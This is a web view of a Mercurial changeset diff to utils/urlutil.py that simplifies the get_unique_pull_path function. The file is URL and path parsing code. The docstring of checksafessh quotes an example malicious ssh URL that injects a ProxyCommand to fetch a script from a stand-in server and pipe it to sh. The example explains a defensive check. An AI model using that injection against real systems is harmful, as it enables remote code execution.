##// END OF EJS Templates
path: simplify the `get_unique_pull_path` function...
marmoute -
r50616:9f249dee default
parent child Browse files
Show More
@@ -1,983 +1,971 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27
28 28 if pycompat.TYPE_CHECKING:
29 29 from typing import (
30 30 Union,
31 31 )
32 32
33 33 urlreq = urllibcompat.urlreq
34 34
35 35
36 36 def getport(port):
37 37 # type: (Union[bytes, int]) -> int
38 38 """Return the port for a given network service.
39 39
40 40 If port is an integer, it's returned as is. If it's a string, it's
41 41 looked up using socket.getservbyname(). If there's no matching
42 42 service, error.Abort is raised.
43 43 """
44 44 try:
45 45 return int(port)
46 46 except ValueError:
47 47 pass
48 48
49 49 try:
50 50 return socket.getservbyname(pycompat.sysstr(port))
51 51 except socket.error:
52 52 raise error.Abort(
53 53 _(b"no port number associated with service '%s'") % port
54 54 )
55 55
56 56
57 57 class url:
58 58 r"""Reliable URL parser.
59 59
60 60 This parses URLs and provides attributes for the following
61 61 components:
62 62
63 63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 64
65 65 Missing components are set to None. The only exception is
66 66 fragment, which is set to '' if present but empty.
67 67
68 68 If parsefragment is False, fragment is included in query. If
69 69 parsequery is False, query is included in path. If both are
70 70 False, both fragment and query are included in path.
71 71
72 72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 73
74 74 Note that for backward compatibility reasons, bundle URLs do not
75 75 take host names. That means 'bundle://../' has a path of '../'.
76 76
77 77 Examples:
78 78
79 79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 83 >>> url(b'file:///home/joe/repo')
84 84 <url scheme: 'file', path: '/home/joe/repo'>
85 85 >>> url(b'file:///c:/temp/foo/')
86 86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 87 >>> url(b'bundle:foo')
88 88 <url scheme: 'bundle', path: 'foo'>
89 89 >>> url(b'bundle://../foo')
90 90 <url scheme: 'bundle', path: '../foo'>
91 91 >>> url(br'c:\foo\bar')
92 92 <url path: 'c:\\foo\\bar'>
93 93 >>> url(br'\\blah\blah\blah')
94 94 <url path: '\\\\blah\\blah\\blah'>
95 95 >>> url(br'\\blah\blah\blah#baz')
96 96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 97 >>> url(br'file:///C:\users\me')
98 98 <url scheme: 'file', path: 'C:\\users\\me'>
99 99
100 100 Authentication credentials:
101 101
102 102 >>> url(b'ssh://joe:xyz@x/repo')
103 103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 104 >>> url(b'ssh://joe@x/repo')
105 105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 106
107 107 Query strings and fragments:
108 108
109 109 >>> url(b'http://host/a?b#c')
110 110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 113
114 114 Empty path:
115 115
116 116 >>> url(b'')
117 117 <url path: ''>
118 118 >>> url(b'#a')
119 119 <url path: '', fragment: 'a'>
120 120 >>> url(b'http://host/')
121 121 <url scheme: 'http', host: 'host', path: ''>
122 122 >>> url(b'http://host/#a')
123 123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 124
125 125 Only scheme:
126 126
127 127 >>> url(b'http:')
128 128 <url scheme: 'http'>
129 129 """
130 130
131 131 _safechars = b"!~*'()+"
132 132 _safepchars = b"/!~*'()+:\\"
133 133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 134
135 135 def __init__(self, path, parsequery=True, parsefragment=True):
136 136 # type: (bytes, bool, bool) -> None
137 137 # We slowly chomp away at path until we have only the path left
138 138 self.scheme = self.user = self.passwd = self.host = None
139 139 self.port = self.path = self.query = self.fragment = None
140 140 self._localpath = True
141 141 self._hostport = b''
142 142 self._origpath = path
143 143
144 144 if parsefragment and b'#' in path:
145 145 path, self.fragment = path.split(b'#', 1)
146 146
147 147 # special case for Windows drive letters and UNC paths
148 148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 149 self.path = path
150 150 return
151 151
152 152 # For compatibility reasons, we can't handle bundle paths as
153 153 # normal URLS
154 154 if path.startswith(b'bundle:'):
155 155 self.scheme = b'bundle'
156 156 path = path[7:]
157 157 if path.startswith(b'//'):
158 158 path = path[2:]
159 159 self.path = path
160 160 return
161 161
162 162 if self._matchscheme(path):
163 163 parts = path.split(b':', 1)
164 164 if parts[0]:
165 165 self.scheme, path = parts
166 166 self._localpath = False
167 167
168 168 if not path:
169 169 path = None
170 170 if self._localpath:
171 171 self.path = b''
172 172 return
173 173 else:
174 174 if self._localpath:
175 175 self.path = path
176 176 return
177 177
178 178 if parsequery and b'?' in path:
179 179 path, self.query = path.split(b'?', 1)
180 180 if not path:
181 181 path = None
182 182 if not self.query:
183 183 self.query = None
184 184
185 185 # // is required to specify a host/authority
186 186 if path and path.startswith(b'//'):
187 187 parts = path[2:].split(b'/', 1)
188 188 if len(parts) > 1:
189 189 self.host, path = parts
190 190 else:
191 191 self.host = parts[0]
192 192 path = None
193 193 if not self.host:
194 194 self.host = None
195 195 # path of file:///d is /d
196 196 # path of file:///d:/ is d:/, not /d:/
197 197 if path and not hasdriveletter(path):
198 198 path = b'/' + path
199 199
200 200 if self.host and b'@' in self.host:
201 201 self.user, self.host = self.host.rsplit(b'@', 1)
202 202 if b':' in self.user:
203 203 self.user, self.passwd = self.user.split(b':', 1)
204 204 if not self.host:
205 205 self.host = None
206 206
207 207 # Don't split on colons in IPv6 addresses without ports
208 208 if (
209 209 self.host
210 210 and b':' in self.host
211 211 and not (
212 212 self.host.startswith(b'[') and self.host.endswith(b']')
213 213 )
214 214 ):
215 215 self._hostport = self.host
216 216 self.host, self.port = self.host.rsplit(b':', 1)
217 217 if not self.host:
218 218 self.host = None
219 219
220 220 if (
221 221 self.host
222 222 and self.scheme == b'file'
223 223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 224 ):
225 225 raise error.Abort(
226 226 _(b'file:// URLs can only refer to localhost')
227 227 )
228 228
229 229 self.path = path
230 230
231 231 # leave the query string escaped
232 232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 233 v = getattr(self, a)
234 234 if v is not None:
235 235 setattr(self, a, urlreq.unquote(v))
236 236
237 237 def copy(self):
238 238 u = url(b'temporary useless value')
239 239 u.path = self.path
240 240 u.scheme = self.scheme
241 241 u.user = self.user
242 242 u.passwd = self.passwd
243 243 u.host = self.host
244 244 u.path = self.path
245 245 u.query = self.query
246 246 u.fragment = self.fragment
247 247 u._localpath = self._localpath
248 248 u._hostport = self._hostport
249 249 u._origpath = self._origpath
250 250 return u
251 251
252 252 @encoding.strmethod
253 253 def __repr__(self):
254 254 attrs = []
255 255 for a in (
256 256 b'scheme',
257 257 b'user',
258 258 b'passwd',
259 259 b'host',
260 260 b'port',
261 261 b'path',
262 262 b'query',
263 263 b'fragment',
264 264 ):
265 265 v = getattr(self, a)
266 266 if v is not None:
267 267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 268 return b'<url %s>' % b', '.join(attrs)
269 269
270 270 def __bytes__(self):
271 271 r"""Join the URL's components back into a URL string.
272 272
273 273 Examples:
274 274
275 275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 278 'http://user:pw@host:80/?foo=bar&baz=42'
279 279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 282 'ssh://user:pw@[::1]:2200//home/joe#'
283 283 >>> bytes(url(b'http://localhost:80//'))
284 284 'http://localhost:80//'
285 285 >>> bytes(url(b'http://localhost:80/'))
286 286 'http://localhost:80/'
287 287 >>> bytes(url(b'http://localhost:80'))
288 288 'http://localhost:80/'
289 289 >>> bytes(url(b'bundle:foo'))
290 290 'bundle:foo'
291 291 >>> bytes(url(b'bundle://../foo'))
292 292 'bundle:../foo'
293 293 >>> bytes(url(b'path'))
294 294 'path'
295 295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 296 'file:///tmp/foo/bar'
297 297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 298 'file:///c:/tmp/foo/bar'
299 299 >>> print(url(br'bundle:foo\bar'))
300 300 bundle:foo\bar
301 301 >>> print(url(br'file:///D:\data\hg'))
302 302 file:///D:\data\hg
303 303 """
304 304 if self._localpath:
305 305 s = self.path
306 306 if self.scheme == b'bundle':
307 307 s = b'bundle:' + s
308 308 if self.fragment:
309 309 s += b'#' + self.fragment
310 310 return s
311 311
312 312 s = self.scheme + b':'
313 313 if self.user or self.passwd or self.host:
314 314 s += b'//'
315 315 elif self.scheme and (
316 316 not self.path
317 317 or self.path.startswith(b'/')
318 318 or hasdriveletter(self.path)
319 319 ):
320 320 s += b'//'
321 321 if hasdriveletter(self.path):
322 322 s += b'/'
323 323 if self.user:
324 324 s += urlreq.quote(self.user, safe=self._safechars)
325 325 if self.passwd:
326 326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 327 if self.user or self.passwd:
328 328 s += b'@'
329 329 if self.host:
330 330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 331 s += urlreq.quote(self.host)
332 332 else:
333 333 s += self.host
334 334 if self.port:
335 335 s += b':' + urlreq.quote(self.port)
336 336 if self.host:
337 337 s += b'/'
338 338 if self.path:
339 339 # TODO: similar to the query string, we should not unescape the
340 340 # path when we store it, the path might contain '%2f' = '/',
341 341 # which we should *not* escape.
342 342 s += urlreq.quote(self.path, safe=self._safepchars)
343 343 if self.query:
344 344 # we store the query in escaped form.
345 345 s += b'?' + self.query
346 346 if self.fragment is not None:
347 347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 348 return s
349 349
350 350 __str__ = encoding.strmethod(__bytes__)
351 351
352 352 def authinfo(self):
353 353 user, passwd = self.user, self.passwd
354 354 try:
355 355 self.user, self.passwd = None, None
356 356 s = bytes(self)
357 357 finally:
358 358 self.user, self.passwd = user, passwd
359 359 if not self.user:
360 360 return (s, None)
361 361 # authinfo[1] is passed to urllib2 password manager, and its
362 362 # URIs must not contain credentials. The host is passed in the
363 363 # URIs list because Python < 2.4.3 uses only that to search for
364 364 # a password.
365 365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366 366
367 367 def isabs(self):
368 368 if self.scheme and self.scheme != b'file':
369 369 return True # remote URL
370 370 if hasdriveletter(self.path):
371 371 return True # absolute for our purposes - can't be joined()
372 372 if self.path.startswith(br'\\'):
373 373 return True # Windows UNC path
374 374 if self.path.startswith(b'/'):
375 375 return True # POSIX-style
376 376 return False
377 377
378 378 def localpath(self):
379 379 # type: () -> bytes
380 380 if self.scheme == b'file' or self.scheme == b'bundle':
381 381 path = self.path or b'/'
382 382 # For Windows, we need to promote hosts containing drive
383 383 # letters to paths with drive letters.
384 384 if hasdriveletter(self._hostport):
385 385 path = self._hostport + b'/' + self.path
386 386 elif (
387 387 self.host is not None and self.path and not hasdriveletter(path)
388 388 ):
389 389 path = b'/' + path
390 390 return path
391 391 return self._origpath
392 392
393 393 def islocal(self):
394 394 '''whether localpath will return something that posixfile can open'''
395 395 return (
396 396 not self.scheme
397 397 or self.scheme == b'file'
398 398 or self.scheme == b'bundle'
399 399 )
400 400
401 401
402 402 def hasscheme(path):
403 403 # type: (bytes) -> bool
404 404 return bool(url(path).scheme) # cast to help pytype
405 405
406 406
407 407 def hasdriveletter(path):
408 408 # type: (bytes) -> bool
409 409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410 410
411 411
412 412 def urllocalpath(path):
413 413 # type: (bytes) -> bytes
414 414 return url(path, parsequery=False, parsefragment=False).localpath()
415 415
416 416
417 417 def checksafessh(path):
418 418 # type: (bytes) -> None
419 419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420 420
421 421 This is a sanity check for ssh urls. ssh will parse the first item as
422 422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 423 Let's prevent these potentially exploited urls entirely and warn the
424 424 user.
425 425
426 426 Raises an error.Abort when the url is unsafe.
427 427 """
428 428 path = urlreq.unquote(path)
429 429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 430 raise error.Abort(
431 431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 432 )
433 433
434 434
435 435 def hidepassword(u):
436 436 # type: (bytes) -> bytes
437 437 '''hide user credential in a url string'''
438 438 u = url(u)
439 439 if u.passwd:
440 440 u.passwd = b'***'
441 441 return bytes(u)
442 442
443 443
444 444 def removeauth(u):
445 445 # type: (bytes) -> bytes
446 446 '''remove all authentication information from a url string'''
447 447 u = url(u)
448 448 u.user = u.passwd = None
449 449 return bytes(u)
450 450
451 451
452 452 def list_paths(ui, target_path=None):
453 453 """list all the (name, paths) in the passed ui"""
454 454 result = []
455 455 if target_path is None:
456 456 for name, paths in sorted(ui.paths.items()):
457 457 for p in paths:
458 458 result.append((name, p))
459 459
460 460 else:
461 461 for path in ui.paths.get(target_path, []):
462 462 result.append((target_path, path))
463 463 return result
464 464
465 465
466 466 def try_path(ui, url):
467 467 """try to build a path from a url
468 468
469 469 Return None if no Path could built.
470 470 """
471 471 try:
472 472 # we pass the ui instance are warning might need to be issued
473 473 return path(ui, None, rawloc=url)
474 474 except ValueError:
475 475 return None
476 476
477 477
478 478 def get_push_paths(repo, ui, dests):
479 479 """yields all the `path` selected as push destination by `dests`"""
480 480 if not dests:
481 481 if b'default-push' in ui.paths:
482 482 for p in ui.paths[b'default-push']:
483 483 yield p.get_push_variant()
484 484 elif b'default' in ui.paths:
485 485 for p in ui.paths[b'default']:
486 486 yield p.get_push_variant()
487 487 else:
488 488 raise error.ConfigError(
489 489 _(b'default repository not configured!'),
490 490 hint=_(b"see 'hg help config.paths'"),
491 491 )
492 492 else:
493 493 for dest in dests:
494 494 if dest in ui.paths:
495 495 for p in ui.paths[dest]:
496 496 yield p.get_push_variant()
497 497 else:
498 498 path = try_path(ui, dest)
499 499 if path is None:
500 500 msg = _(b'repository %s does not exist')
501 501 msg %= dest
502 502 raise error.RepoError(msg)
503 503 yield path.get_push_variant()
504 504
505 505
506 506 def get_pull_paths(repo, ui, sources):
507 507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 508 if not sources:
509 509 sources = [b'default']
510 510 for source in sources:
511 511 if source in ui.paths:
512 512 for p in ui.paths[source]:
513 513 yield p
514 514 else:
515 515 p = path(ui, None, source, validate_path=False)
516 516 yield p
517 517
518 518
519 519 def get_unique_push_path(action, repo, ui, dest=None):
520 520 """return a unique `path` or abort if multiple are found
521 521
522 522 This is useful for command and action that does not support multiple
523 523 destination (yet).
524 524
525 525 The `action` parameter will be used for the error message.
526 526 """
527 527 if dest is None:
528 528 dests = []
529 529 else:
530 530 dests = [dest]
531 531 dests = list(get_push_paths(repo, ui, dests))
532 532 if len(dests) != 1:
533 533 if dest is None:
534 534 msg = _(
535 535 b"default path points to %d urls while %s only supports one"
536 536 )
537 537 msg %= (len(dests), action)
538 538 else:
539 539 msg = _(b"path points to %d urls while %s only supports one: %s")
540 540 msg %= (len(dests), action, dest)
541 541 raise error.Abort(msg)
542 542 return dests[0]
543 543
544 544
545 545 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
546 546 """return a unique `(url, branch)` or abort if multiple are found
547 547
548 548 This is useful for command and action that does not support multiple
549 549 destination (yet).
550 550
551 551 The `action` parameter will be used for the error message.
552 552 """
553 urls = []
554 if source is None:
555 if b'default' in ui.paths:
556 urls.extend(p.rawloc for p in ui.paths[b'default'])
557 else:
558 # XXX this is the historical default behavior, but that is not
559 # great, consider breaking BC on this.
560 urls.append(b'default')
561 else:
562 if source in ui.paths:
563 urls.extend(p.rawloc for p in ui.paths[source])
564 else:
565 # Try to resolve as a local path or URI.
566 path = try_path(ui, source)
567 if path is not None:
568 urls.append(path.rawloc)
569 else:
570 urls.append(source)
571 if len(urls) != 1:
553 sources = []
554 if source is not None:
555 sources.append(source)
556
557 pull_paths = list(get_pull_paths(repo, ui, sources=sources))
558 path_count = len(pull_paths)
559 if path_count != 1:
572 560 if source is None:
573 561 msg = _(
574 562 b"default path points to %d urls while %s only supports one"
575 563 )
576 msg %= (len(urls), action)
564 msg %= (path_count, action)
577 565 else:
578 566 msg = _(b"path points to %d urls while %s only supports one: %s")
579 msg %= (len(urls), action, source)
567 msg %= (path_count, action, source)
580 568 raise error.Abort(msg)
581 return parseurl(urls[0], default_branches)
569 return parseurl(pull_paths[0].rawloc, default_branches)
582 570
583 571
584 572 def get_clone_path(ui, source, default_branches=()):
585 573 """return the `(origsource, path, branch)` selected as clone source"""
586 574 urls = []
587 575 if source is None:
588 576 if b'default' in ui.paths:
589 577 urls.extend(p.rawloc for p in ui.paths[b'default'])
590 578 else:
591 579 # XXX this is the historical default behavior, but that is not
592 580 # great, consider breaking BC on this.
593 581 urls.append(b'default')
594 582 else:
595 583 if source in ui.paths:
596 584 urls.extend(p.rawloc for p in ui.paths[source])
597 585 else:
598 586 # Try to resolve as a local path or URI.
599 587 path = try_path(ui, source)
600 588 if path is not None:
601 589 urls.append(path.rawloc)
602 590 else:
603 591 urls.append(source)
604 592 if len(urls) != 1:
605 593 if source is None:
606 594 msg = _(
607 595 b"default path points to %d urls while only one is supported"
608 596 )
609 597 msg %= len(urls)
610 598 else:
611 599 msg = _(b"path points to %d urls while only one is supported: %s")
612 600 msg %= (len(urls), source)
613 601 raise error.Abort(msg)
614 602 url = urls[0]
615 603 clone_path, branch = parseurl(url, default_branches)
616 604 return url, clone_path, branch
617 605
618 606
619 607 def parseurl(path, branches=None):
620 608 '''parse url#branch, returning (url, (branch, branches))'''
621 609 u = url(path)
622 610 branch = None
623 611 if u.fragment:
624 612 branch = u.fragment
625 613 u.fragment = None
626 614 return bytes(u), (branch, branches or [])
627 615
628 616
629 617 class paths(dict):
630 618 """Represents a collection of paths and their configs.
631 619
632 620 Data is initially derived from ui instances and the config files they have
633 621 loaded.
634 622 """
635 623
636 624 def __init__(self, ui):
637 625 dict.__init__(self)
638 626
639 627 home_path = os.path.expanduser(b'~')
640 628
641 629 for name, value in ui.configitems(b'paths', ignoresub=True):
642 630 # No location is the same as not existing.
643 631 if not value:
644 632 continue
645 633 _value, sub_opts = ui.configsuboptions(b'paths', name)
646 634 s = ui.configsource(b'paths', name)
647 635 root_key = (name, value, s)
648 636 root = ui._path_to_root.get(root_key, home_path)
649 637
650 638 multi_url = sub_opts.get(b'multi-urls')
651 639 if multi_url is not None and stringutil.parsebool(multi_url):
652 640 base_locs = stringutil.parselist(value)
653 641 else:
654 642 base_locs = [value]
655 643
656 644 paths = []
657 645 for loc in base_locs:
658 646 loc = os.path.expandvars(loc)
659 647 loc = os.path.expanduser(loc)
660 648 if not hasscheme(loc) and not os.path.isabs(loc):
661 649 loc = os.path.normpath(os.path.join(root, loc))
662 650 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
663 651 paths.append(p)
664 652 self[name] = paths
665 653
666 654 for name, old_paths in sorted(self.items()):
667 655 new_paths = []
668 656 for p in old_paths:
669 657 new_paths.extend(_chain_path(p, ui, self))
670 658 self[name] = new_paths
671 659
672 660 def getpath(self, ui, name, default=None):
673 661 """Return a ``path`` from a string, falling back to default.
674 662
675 663 ``name`` can be a named path or locations. Locations are filesystem
676 664 paths or URIs.
677 665
678 666 Returns None if ``name`` is not a registered path, a URI, or a local
679 667 path to a repo.
680 668 """
681 669 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
682 670 ui.deprecwarn(msg, b'6.0')
683 671 # Only fall back to default if no path was requested.
684 672 if name is None:
685 673 if not default:
686 674 default = ()
687 675 elif not isinstance(default, (tuple, list)):
688 676 default = (default,)
689 677 for k in default:
690 678 try:
691 679 return self[k][0]
692 680 except KeyError:
693 681 continue
694 682 return None
695 683
696 684 # Most likely empty string.
697 685 # This may need to raise in the future.
698 686 if not name:
699 687 return None
700 688 if name in self:
701 689 return self[name][0]
702 690 else:
703 691 # Try to resolve as a local path or URI.
704 692 path = try_path(ui, name)
705 693 if path is None:
706 694 raise error.RepoError(_(b'repository %s does not exist') % name)
707 695 return path.rawloc
708 696
709 697
710 698 _pathsuboptions = {}
711 699
712 700
713 701 def pathsuboption(option, attr):
714 702 """Decorator used to declare a path sub-option.
715 703
716 704 Arguments are the sub-option name and the attribute it should set on
717 705 ``path`` instances.
718 706
719 707 The decorated function will receive as arguments a ``ui`` instance,
720 708 ``path`` instance, and the string value of this option from the config.
721 709 The function should return the value that will be set on the ``path``
722 710 instance.
723 711
724 712 This decorator can be used to perform additional verification of
725 713 sub-options and to change the type of sub-options.
726 714 """
727 715
728 716 def register(func):
729 717 _pathsuboptions[option] = (attr, func)
730 718 return func
731 719
732 720 return register
733 721
734 722
735 723 @pathsuboption(b'pushurl', b'_pushloc')
736 724 def pushurlpathoption(ui, path, value):
737 725 u = url(value)
738 726 # Actually require a URL.
739 727 if not u.scheme:
740 728 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
741 729 msg %= (path.name, value)
742 730 ui.warn(msg)
743 731 return None
744 732
745 733 # Don't support the #foo syntax in the push URL to declare branch to
746 734 # push.
747 735 if u.fragment:
748 736 ui.warn(
749 737 _(
750 738 b'("#fragment" in paths.%s:pushurl not supported; '
751 739 b'ignoring)\n'
752 740 )
753 741 % path.name
754 742 )
755 743 u.fragment = None
756 744
757 745 return bytes(u)
758 746
759 747
760 748 @pathsuboption(b'pushrev', b'pushrev')
761 749 def pushrevpathoption(ui, path, value):
762 750 return value
763 751
764 752
765 753 SUPPORTED_BOOKMARKS_MODES = {
766 754 b'default',
767 755 b'mirror',
768 756 b'ignore',
769 757 }
770 758
771 759
772 760 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
773 761 def bookmarks_mode_option(ui, path, value):
774 762 if value not in SUPPORTED_BOOKMARKS_MODES:
775 763 path_name = path.name
776 764 if path_name is None:
777 765 # this is an "anonymous" path, config comes from the global one
778 766 path_name = b'*'
779 767 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
780 768 msg %= (path_name, value)
781 769 ui.warn(msg)
782 770 if value == b'default':
783 771 value = None
784 772 return value
785 773
786 774
787 775 @pathsuboption(b'multi-urls', b'multi_urls')
788 776 def multiurls_pathoption(ui, path, value):
789 777 res = stringutil.parsebool(value)
790 778 if res is None:
791 779 ui.warn(
792 780 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
793 781 )
794 782 res = False
795 783 return res
796 784
797 785
798 786 def _chain_path(base_path, ui, paths):
799 787 """return the result of "path://" logic applied on a given path"""
800 788 new_paths = []
801 789 if base_path.url.scheme != b'path':
802 790 new_paths.append(base_path)
803 791 else:
804 792 assert base_path.url.path is None
805 793 sub_paths = paths.get(base_path.url.host)
806 794 if sub_paths is None:
807 795 m = _(b'cannot use `%s`, "%s" is not a known path')
808 796 m %= (base_path.rawloc, base_path.url.host)
809 797 raise error.Abort(m)
810 798 for subpath in sub_paths:
811 799 path = base_path.copy()
812 800 if subpath.raw_url.scheme == b'path':
813 801 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
814 802 m %= (path.rawloc, path.url.host)
815 803 raise error.Abort(m)
816 804 path.url = subpath.url
817 805 path.rawloc = subpath.rawloc
818 806 path.loc = subpath.loc
819 807 if path.branch is None:
820 808 path.branch = subpath.branch
821 809 else:
822 810 base = path.rawloc.rsplit(b'#', 1)[0]
823 811 path.rawloc = b'%s#%s' % (base, path.branch)
824 812 suboptions = subpath._all_sub_opts.copy()
825 813 suboptions.update(path._own_sub_opts)
826 814 path._apply_suboptions(ui, suboptions)
827 815 new_paths.append(path)
828 816 return new_paths
829 817
830 818
831 819 class path:
832 820 """Represents an individual path and its configuration."""
833 821
834 822 def __init__(
835 823 self,
836 824 ui=None,
837 825 name=None,
838 826 rawloc=None,
839 827 suboptions=None,
840 828 validate_path=True,
841 829 ):
842 830 """Construct a path from its config options.
843 831
844 832 ``ui`` is the ``ui`` instance the path is coming from.
845 833 ``name`` is the symbolic name of the path.
846 834 ``rawloc`` is the raw location, as defined in the config.
847 835 ``_pushloc`` is the raw locations pushes should be made to.
848 836 (see the `get_push_variant` method)
849 837
850 838 If ``name`` is not defined, we require that the location be a) a local
851 839 filesystem path with a .hg directory or b) a URL. If not,
852 840 ``ValueError`` is raised.
853 841 """
854 842 if ui is None:
855 843 # used in copy
856 844 assert name is None
857 845 assert rawloc is None
858 846 assert suboptions is None
859 847 return
860 848
861 849 if not rawloc:
862 850 raise ValueError(b'rawloc must be defined')
863 851
864 852 self.name = name
865 853
866 854 # set by path variant to point to their "non-push" version
867 855 self.main_path = None
868 856 self._setup_url(rawloc)
869 857
870 858 if validate_path:
871 859 self._validate_path()
872 860
873 861 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
874 862 self._own_sub_opts = {}
875 863 if suboptions is not None:
876 864 self._own_sub_opts = suboptions.copy()
877 865 sub_opts.update(suboptions)
878 866 self._all_sub_opts = sub_opts.copy()
879 867
880 868 self._apply_suboptions(ui, sub_opts)
881 869
882 870 def _setup_url(self, rawloc):
883 871 # Locations may define branches via syntax <base>#<branch>.
884 872 u = url(rawloc)
885 873 branch = None
886 874 if u.fragment:
887 875 branch = u.fragment
888 876 u.fragment = None
889 877
890 878 self.url = u
891 879 # the url from the config/command line before dealing with `path://`
892 880 self.raw_url = u.copy()
893 881 self.branch = branch
894 882
895 883 self.rawloc = rawloc
896 884 self.loc = b'%s' % u
897 885
898 886 def copy(self):
899 887 """make a copy of this path object"""
900 888 new = self.__class__()
901 889 for k, v in self.__dict__.items():
902 890 new_copy = getattr(v, 'copy', None)
903 891 if new_copy is not None:
904 892 v = new_copy()
905 893 new.__dict__[k] = v
906 894 return new
907 895
908 896 @property
909 897 def is_push_variant(self):
910 898 """is this a path variant to be used for pushing"""
911 899 return self.main_path is not None
912 900
913 901 def get_push_variant(self):
914 902 """get a "copy" of the path, but suitable for pushing
915 903
916 904 This means using the value of the `pushurl` option (if any) as the url.
917 905
918 906 The original path is available in the `main_path` attribute.
919 907 """
920 908 if self.main_path:
921 909 return self
922 910 new = self.copy()
923 911 new.main_path = self
924 912 if self._pushloc:
925 913 new._setup_url(self._pushloc)
926 914 return new
927 915
928 916 def pushloc(self):
929 917 """compatibility layer for the deprecated attributes"""
930 918 from .. import util # avoid a cycle
931 919
932 920 msg = "don't use path.pushloc, use path.get_push_variant()"
933 921 util.nouideprecwarn(msg, b"6.5")
934 922 return self._pushloc
935 923
936 924 def _validate_path(self):
937 925 # When given a raw location but not a symbolic name, validate the
938 926 # location is valid.
939 927 if (
940 928 not self.name
941 929 and not self.url.scheme
942 930 and not self._isvalidlocalpath(self.loc)
943 931 ):
944 932 raise ValueError(
945 933 b'location is not a URL or path to a local '
946 934 b'repo: %s' % self.rawloc
947 935 )
948 936
949 937 def _apply_suboptions(self, ui, sub_options):
950 938 # Now process the sub-options. If a sub-option is registered, its
951 939 # attribute will always be present. The value will be None if there
952 940 # was no valid sub-option.
953 941 for suboption, (attr, func) in _pathsuboptions.items():
954 942 if suboption not in sub_options:
955 943 setattr(self, attr, None)
956 944 continue
957 945
958 946 value = func(ui, self, sub_options[suboption])
959 947 setattr(self, attr, value)
960 948
961 949 def _isvalidlocalpath(self, path):
962 950 """Returns True if the given path is a potentially valid repository.
963 951 This is its own function so that extensions can change the definition of
964 952 'valid' in this case (like when pulling from a git repo into a hg
965 953 one)."""
966 954 try:
967 955 return os.path.isdir(os.path.join(path, b'.hg'))
968 956 # Python 2 may return TypeError. Python 3, ValueError.
969 957 except (TypeError, ValueError):
970 958 return False
971 959
972 960 @property
973 961 def suboptions(self):
974 962 """Return sub-options and their values for this path.
975 963
976 964 This is intended to be used for presentation purposes.
977 965 """
978 966 d = {}
979 967 for subopt, (attr, _func) in _pathsuboptions.items():
980 968 value = getattr(self, attr)
981 969 if value is not None:
982 970 d[subopt] = value
983 971 return d
General Comments 0
You need to be logged in to leave comments. Login now